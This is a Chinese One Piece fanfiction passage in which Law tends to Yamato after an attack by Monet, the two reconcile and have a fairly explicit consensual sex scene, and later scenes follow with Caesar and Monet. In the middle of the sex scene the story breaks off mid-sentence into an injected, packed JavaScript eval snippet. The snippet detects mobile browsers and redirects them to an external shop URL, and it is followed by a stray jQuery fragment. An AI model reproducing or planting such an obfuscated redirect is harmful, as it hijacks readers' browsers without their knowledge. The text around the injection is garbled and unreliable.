临时房间内,早已丢开长刀、帽子的男人半跪在浴缸边,一边用温度适宜的水浇灌躺在浴缸里的人,一边紧皱眉头咬牙切齿。
“我要杀了这帮混蛋,绝对要干掉他们……”
浴缸里的人分明也是恶魔果实能力者,并且也有冰系能力,此前就连身处北海的冬日也不怕冷,偏居然险些死在“雪雪果实”能力者的手里。
罗想到如果自己再晚看到一会,哪怕只有几分钟,浴缸里的人可能就已变成一具冰尸。
——白痴!已经到那种程度就别忍了,还手啊!
湿漉漉的手掌这时捧起他的脸颊,男人一怔之下回神,虽同时抚上对方手背,却还凶道:“傻子!如果我没有恰巧回来,你打算一直‘让’着她?!”
朱红宝石样的眸子望他片刻,像是很无奈,只能依依不舍地放开手对他比划:‘有没有可能,她其实就是故意要给你看的?’——可能莫奈已经知道罗就要路过。
“……”他倒差点将这一茬忘了。
男人无语地停顿片刻,但还是一筹莫展道:“那她刚才也明显抱定决心要对你下杀手了,你没感觉到吗?”
——老实说……大和确实没感觉到。
可能抑制自己的战斗意识太久,又事实上久未真正和人动手,警觉也不免迟钝了。
‘下次会注意的。’他只好这么安慰跪在浴缸旁的男人。
在用水浇灌的过程中,罗的衣物也不慎打湿了。此刻见对方已经完全恢复且不再颤抖,才稍稍放松下来,方觉的已经失温的水沾在身上,冷飕飕的,有失干燥的布料也紧贴着人心烦。
“没有‘下次’!我跟你约定,在紧急情况下分3个级别‘解封’——”
船长在短时间内已做好了决定,当机立断对同行的海贼下令:
“第1级别是允许你动手,在不使用恶魔果实能力的前提下,随你怎么干架;第2级别是能力也不限制,敞开了打;第3级别就是连装聋作哑的事也不用管了,该喊出来的时候就喊。
“——这3个级别,按对手的强弱程度,以你必须活下去为目的,自行判断。
“总而言之,绝对不能在我看不到的地方死了,就算死也必须在我能看到的地方……不对!你不许死!
“——只要我能看到就一定能救你。如果连救你的机会都不给我就死了,变成鬼也不会放过你,听明白了吗?”
男人的语气凶惨了,但无论讲出的内容、还是他说话时的眼神,都使听者心生怜爱。
‘你好可爱,我绝对不舍得你的。’如果死了看不到这么可爱的船长才叫无法忍受。‘我死了,你就变成别人的了。’
“哈?什么破回答!说‘明白’还是‘不明白’!”什么乱七八糟的——首先是形容词,其次是“变成别人的”叫什么话——“我看你是找揍。”
‘明白。’大和还是依了自家船长。可眼见跪在旁边的男人衣衫湿透的模样更显可怜,刚“活”过来的他就不禁起了坏心眼。
‘你衣服湿了,换一件吧。’
“唔,水溅的罢了。稍后就换。”
男人还未觉到异常,亲自用手掌试探对方已经恢复体温,确认也没有其他失温后的发病现象,感慨幸亏“傻子”的身体素质够强。
“你差不多也起来把水擦干吧。今天下午哪里也别去了,照你的习惯可以受伤后多睡觉;我也不出门,有任何不对劲,随时叫我。”
另一青年听了心思便更加活泛。
‘有其他需求也可以吗?’他试探性地表达。
“当然,任何事都可以……等等,”罗还是停顿下来,不怪他太敏感,是“狗眼”突然亮起可疑的光芒,让他不能不多想——“什么意思?”
比罗浅了两个色号的手臂搭在浴缸边缘,闪闪的大眼睛随趴在手臂上的脸忽然凑近,地上的青年本能地向后一撤。
“喂!打杂的,你可刚‘活’过来,想什么呢!”
不说话的人笑嘻嘻地看向他,可罗莫名地产生一种“错觉”:2年前初识那会笑起来时还有点傻气的人,现如今的笑容好像已经没有那么单纯了。
‘船长。’修长的五指在眼前招了招,罗方发觉自己刚才好像被对方的“气场”压倒了,即便那人还一副傻笑。‘有件衣服想看你穿。可以给我看看么?’
看那一副披着羊皮的狼模样:一方面表情乖巧无害,好像随时还能给他“摇个尾巴”,另一方面看他的眼神……就像要吃人。
也难怪,他看不到自己在对方眼里看到的模样:
一贯漂亮的脸蛋暂且不必说,几乎从来不扣领口的衬衫在最透明无害的清水作用下紧贴躯干,布料的线条之下依稀可见健美的线条,起伏中若隐若现更漂亮的起伏;
更不要提眼下半跪在浴室地面的水渍间,两膝自然打开,紧绷的肌肉线条,卷起的裤脚边可见修长跟腱……
打量这幅光景的人能依稀感觉到自己的脑子可能渐渐坏掉了。
大和本想问为什么罗能把别人的身体巧妙改造,却从不用在自己身上——着实是这副身体已经很美了,他如痴如醉地认为,或许正因为罗够美了,才能打造其他漂亮的身体。
某种“天性”中的贪婪,使他按捺不住想:这副美丽的身体,还有这个漂亮的人,都是属于他的。
-
“衣服?什么衣服?”罗从看清大和的意思之后就开始困惑。他不明白,难道说现如今这人还懂怎么给他买衣服了?
有点难以想象,倒也不是不信任大和的审美……不,就是不信任。就算这2年在他的用心下某人可以和他保持同一水准的扮相,但不等于他忘记2年前某人土包子的样子。
与此同时,他却还是隐隐有些好奇,甚至于说期待对方要拿给自己的东西。
快2年了啊,这两年里无论是世界还是他们都在发生微妙的变化。
“……什么!你是不是又找揍了?该死的'狗男人',你把那个放回去!”
——变化就比如,2年前如果有人胆敢把1件裙子递到他面前,他会觉得对方有病进而直接用刀切开脑子,现在却没有动手,脸先红了。
“不对!扔了,直接给我扔了!”
——但说真的,也只是因为面对的是某人他才没动手,如果但凡换个人来,无论男女他可能都会用眼刀加钢刀一起杀了对方。
大和拿出来展示的是件质地丝滑的女装裙,赤红如人毫不掩饰的欲望,也像他此刻暗流涌动的虹膜。
“打杂的,你终于是疯了?”罗刚才在浴室里就看到对方眼神直白得有点不对劲,早意识到他想干什么,但没想到其实要这么干。
忽然脑子里闪过一道线索,罗急忙抓住,也伸手揪住了大和新换的毛衣前襟。“我想起来了:之前在北海买的那两本破书——老实交代,你到底学了些什么奇怪的知识?!”
‘那两本有点太‘教条’了,后来又翻到些其他……’
突然太过强烈的难为情,让罗没等看下去就将手里的人又向前一拽,“见鬼!我每天挖空心思搜索情报,你就在搜索这些玩意?”情急之下,青色的眼眶瞪大一圈,脸色也涨红了。没注意语气和说话变得有失偏颇——“我带你出来是在游山玩水吗?”
还在恋人粗暴拉扯下无奈微笑的人愕然,虽说直觉上并未察觉到罗真地在生气,可他还是下意识地感到歉疚和懊恼。
——是呢,罗一直很辛苦,为了目标而殚精竭虑。他虽然跟在旁边,看似“搭把手”,但好像也从未起到决定性的作用,反而还需要船长花心思照顾他……就像今天,因为一是掉以轻心,差点被凯撒的秘书杀了,还是罗及时出现救他。
眼看原本精光闪闪的朱色眼瞳变得黯然,甚至露出愧疚,罗就知道自己说过头了。
——不是的,大和已经帮了他太多:无论整理情报抑或一路照料,光是救他的命,算下来就不止1次。此外无论是2年来均未说1句话,还是1年多都没再使用过恶魔果实能力,甚至于就因为他命令装聋作哑和隐藏实力,受了多少委屈……
明明过去是说话比思考还快的人,如今只能和他一人交流,而且只能通过手语;
明明对自己的性别认知一贯头铁,不管别人怎么看都要告诉别人“是男人”的,也因为不能交流就认了。
明明实力很强,至少不比他差,却由着没自己强的人欺负得到处是伤,还差点伤及性命;
明明已经将他要求的每件事都做下来了……
罗在连续多日都未想到破局战术的压力下,又经历亲眼目睹同伴在眼前倒下的冲击,便在亲近之人面前隐藏不住情绪。
“抱歉。我不是这么想的,讲错了!”目光松动近于模糊,青年急忙伸手将面前神色懊恼之人按在脑侧,“打杂的,谢谢你。谢谢你替我做这么多,谢谢你救了我好几次。对不起,我最近遇到了瓶颈,我想快点和你离开这个地方……”
青年突然被近前的人意外推开,还没来得及隐藏表情,就见另一人手势无比熟练如同真正的哑者:‘不要感谢,不要道歉。你在做了不起的事情。我做的不好……’
罗便忍不住将他再次拽至近前,却把脸埋入毛衣领口。
冰冷总算是离他远去,站在罗身前的是体温正常偏高的活人——是活人,这一件就比什么都重要——不再泛青的肤色,也不再僵直;不仅是温暖,而且有足够的弹性和柔软。紧贴这样的他,才真正能放下悬着的心。
“不是的!”在男人脸上来说应该是稀有的水滴流进对方领口,或许也只允许自己将眼泪这种东西流给对方,“不是的……”声线无法扭转地在对方怀里变得纤细,如同童音,“你再好不过。”
并不比他粗壮,却结实有力的手臂也轻柔地环在他的腰背上,很温暖,即便1个小时以前其自身还被冻到瑟瑟发抖。
他知道大和很强大,只是形貌有女性化的纤细,但无论力量还是器量——尤其是意志上——都真正的男人毫无差别。他知道对方甚至比他高出几公分,所以他要伏在对方胸口,远比对方这么做要轻易。
一开始只是喜欢这个人,后来渐渐变成依傍,甚至并不光彩的说,在心理上产生了依赖。
就像原本每晚都满地乱躺,现在却习惯贴着旁人安心入睡。就像自以为不会被任何情况动摇意志,但旁人的一言一行,或只是不动声色地替他忍耐不公,就可以使他难免情绪化。
——两年时间的变化有很多。
就像他也愿意改变自己,迎合对方的心愿。
“……这件红色不合适……”他抬起眼来,看着被扔到一边的丝质女装,还注意到了肩带和腰线,不禁又面上一热,“换一件行不行……”
大和原已经打算放弃了,突然听到这么说,惊愕地退后一些将臂弯中的人托起脸来。
‘你确定?不愿意,就不要勉强。’
“不是……”手里的衣领已经被他捏地皱在一起,早已看不出原本的挺阔。他最后又用力攥了攥,终于撒开手,也像放下最后一丝心防。“我没事。随你折腾,就当给老子泄泄火吧……”
他催促着,也自解衬衣,在床边坐下。
“最近过得太不爽了,只要你能……”奇怪竟突然说不下去。因为莫名的羞怯而掩口,在食指指节旁咬了一口,才又狠狠心继续说:“只要让老子高兴,随你玩吧。”
‘不然衣服就还是……’
“拿出来。”他都下定决心的事情,不可能说退缩又退缩回去,“——还是说没得换,只有这件?”
白发人表情无奈地看看他,僵持2秒,在他故作无畏的注视中转身拿出另外的选项。
一见之下就令他差点突破心防,仅以低头伏在腿上,遮挡可能太过生动的表情。
“哧……”一室之内,不知是谁先忍俊不禁。
很可能就是罗自己。当然,身旁的人同样无声笑得颤抖。
两名20来岁的年轻人,就像冰火岛之外、遥远的世界上,其他岛屿上的普通年轻人一样,恼过、脸红过,过后而又笑作一团,只是或许还不可笑得太大声。
-
-
黄昏从窗帘外幽幽探入,只需这一点微弱的光就足以让他看清,为他而将自己全部展露出来的完美男人。
因为男人主动要求将双眼蒙上,唯一的观者只好在他胸口的肌肤上赞美他的身体。
——却也无法忽视指腹划过时男人的战栗。
‘罗好漂亮。’
“不……别看了……怎么会有女人愿意穿这东西,好难受。”
对此如果他能说话,可能会直接趴在通红的耳边告诉对方自己的亲眼所见:罗的身体好像有其他“想法”。
但好在不说话可以帮他在脑子里先筛选一下想法,进而吞下了这种表达欲,心软地在男人腮上亲了一下。
‘可惜你看不到我见到的样子。’
“打杂的,你等着……明天我就把你那些破书找出来烧干净。”——明明已经是过滤后才表达了,可大和还是收到了这样的反馈。
冰凉柔韧的发丝落在身上时,就已经让罗忍不住颤抖了,注意力再集中于对方‘写’字的指尖,终于留给自己的只有无法抵御的羞怯和躁动。
大和无奈地从上方看看他,觉得又可爱又好笑,但直觉上不想任由罗故意装作的态度破坏此刻的气氛,于是决定低头先含住他“毒舌”的双唇。
“嗯。”他回应地有些热切,或许实际也有些焦躁起来,上方之人握住手掌轻轻推起,就像他也曾做的那样。
很难想象情况如今会反过来,但这不失为一种猎奇的体验,只不过从另1人初看他硬着头皮套上该是女性的比基尼时……眼神一点也不像只为了猎奇!
所以他才本能地不想再看,不敢想象自己会怎样被对方一点点拆啖入腹。
“……喂!这是……可恶……”
没想到稍一醒神才后知
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13175247|133034||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
后觉手掌被绑住了,从腕上的触感来讲绝不是旁人的手,而是和蒙眼的布料同样的丝绸。
——怎么会这么恰巧……难道说他主动要求不想看,反而是踏进对方早就计划好的安排里?
‘怕你乱动,先绑一小会。’可能初次尝试怕他不高兴,很快解释就在上腹的皮肤上出现。顿了顿,提示文字又“换行”写到下腹来,‘不要太用力挣扎,会留下印子。’
“你……”唇边溢出一丝叹息。“我为什么会答应你……”最后一句话像是在问自己。
‘很快就好了。’文字又落到下腹上。‘很快的。’
随后每过之处往往挑起战栗的指腹若有似无地滑行到腿上,他本强迫自己去想是不是又要专心分辨什么内容,“答案”却显而易见,对方已经进入正题。
他从一开始的讶异,到难为情和猎奇,到沉没于难以启齿的快感和不但放大的空虚。勒在他胯上若有若无的细绳一开始是绑缚,后来成了阻碍,再后来就成了他祈求对方解放他的方式。
他原先只大略从医学的角度知晓,却连想象也未想象过事情真地可以这样:他可能去了不下一回,在释放的边缘徘徊,每次又都需要另1人帮他释放出来。
而那种释放超过以往,超出性别——他一会确信自己是男人,一会又希望变成对方怀里的女人,一会想法又是模糊的,又或者只要能索取,无论怎么样都好——事实上也超出想象。
到了最后脑中便只有唯一的念头。他只爱这一人,爱他给自己的羞怯、困扰、混乱,爱他给自己一切,爱他看到自己一切的样子还依然抱他。
等到他精力几乎耗尽,视线被恢复的同时也松开双手,本以为会出现的难为情早已淹没在爱的温柔里。撤下凌乱的床单,有人帮他清理干净,陷在恋人的柔情里,也最终蜷缩进那人怀里,入风平浪静的梦里。
-
-
等到几天后,罗替大和打听到有关“饼干屋”的真相。面对女秘书不依不饶的追问,他也供认不讳:是替他家‘助理’问的,又怎么样。
“那家伙看来喜欢小孩子,对B栋那间屋子比较在意。”青年坐在“大师”凯撒的办公室里,漠然拒绝了递过来的咖啡。“不过我估计在听闻真相后,会有些伤心吧。那家伙一向太过心‘不够硬’……”
“原来如此,还真是温柔的孩子。和你不太像呢,罗。”
“你就没资格说我了吧:一个劲欺负人,还差点冻死我家助理的秘书小姐。”罗毫不隐藏自己反感的眼神,不过也很快恢复到平时的冷酷。
“哦,原来你做过这么过分的事呀,莫奈。”凯撒好像后知后觉的反应,虚伪地让罗觉得恶心,“真是不应该哟,你要向罗道歉。”
“不必了,”该警告的话已经说过了,何况他也不想多听任何屁话,“她已经道歉过了。”
虚伪的科学家还在继续演:“那你应该再去关心一下大和——难怪最近看不到她来实验室了呢——在独自伤心吧,真是可怜的家伙。”
“说的是。我一会就去找找她,毕竟实验室里少了她,冷清了不少呢。最近就连饼干屋的孩子们都问‘大姐姐去哪了’……”
“要想使唤我家助理,好歹也提前找我问问。”七武海直接提醒。“还有,这话我只说1次:大和是个男人;用‘他’!”
“哈?!无论怎么看都是女人吧。你认真的么,罗?”虽并真地不关心这个问题,但凯撒的表情明显怪异,好像听到的消息让他多不情愿接受。
“我很确定。”罗板着面孔,没有任何开玩笑的意思:他的身边人,他最清楚。“他绝对是个男人。没有哪个女人像他这样。”
——也没有人会那样弄他。
不正经的心思突然飘过脑海,青年干脆借起身掩藏面色,表明还有其他安排,就不坐了。
出门而去,走廊上刚巧与所提之人迎面相遇。他慢条斯理地架着妖刀继续迈步,对面亦不动声色地一步步走近。
直到面前,看似毕恭毕敬地对七武海垂目笑笑,又抬眼等待号令。
“怎么来了?”七武海侧目朝助理脸上扫视,似乎看不出有何异常。
助理还是用手势回答,除他面对的人之外,别人依旧看不懂。
“莫奈叫你啊……”七武海的话倒帮人理解了,原来刚刚的手势里刚好有几个能够代表她的名字。“再被欺负别只挨着,也差不多该学着还手了。”
——不知道是说给谁听的呢。真是精明的男人。
助理笑了起来,望向七武海的眼神还是那样不懂得隐藏。令人慨叹。
七武海也不是看不到吧?近在眼前,近乎喜悦的喜欢。
这么可爱的孩子,其实她也不想“欺负”呢,但是他们不可能像饼干屋的那些小朋友一样,因为大人说“要好好相处哦”就一起毫无芥蒂地游戏。
更何况“大人”们面对他们时不会再说这样的话,他们也不会因为和别的“孩子”好好相处就能够得到奖赏的糖果……
而并不是孩子,却也要听从“大人”说话的他们,偶尔也会带些不够单纯的心思。
——或许大人给的糖果已经不够甜了,或许已经将对糖果的喜爱转移到拥有糖果之人身上;吃到糖果也不再是目的,那个人的愿望才是目的;最终对那个人献出一切其实是必然。
七武海在此时偏过头来,令人意外地举动暧昧,手托助理下颌。“想做的话就做;不想做就告诉我,我替你拒绝。”
哦?
助理甜甜地笑了——从这个角度看,实在很难相信那是男人呀,分明应该是可爱的“女孩子”——下个举动也出人意料:他像轻易就经不起诱惑那样,借势凑在七武海的脸颊上亲了一下。
这孩子……
七武海并没显露什么不快,或许没有躲就代表他已经打算欣然接受。转过脸来还一改冷漠的表情,转瞬即逝但显然对面前的人笑了,又轻松地眨动一下左眼。方松开手错肩走了。
助理还在背后偷笑着目送他的背影。
莫奈忽然有些错乱:罗这是彻底不打算假装不在意同行的“助理”了吗?
——从代为打探关心的消息,到在走廊上遇见也不掩饰暧昧,或许包括代为向其他人更正大和的“性别”。
她真是越来越看不懂罗。
没办法了。看来她只能如实将情况报告Joker,以黑市中间人的渠道应该调查起来易如反掌,或许也有办法知晓罗真正的目的吧。
-
-
也就在莫奈将班克禁区的一切知无不尽地汇报真正上级后,不出1个月便有了新的指令。
她要在这里迎接德雷斯罗萨来的船只,也要盯紧自称是为了“调查世界政府行径”之人的踪迹。看来僵持了几个月的形势就要发生变局了。
而遽变远远超出任何人意料。因为海上还有两艘原本无干的船向着“冰火岛”进发。罗也即将迎来他等待的破局之法。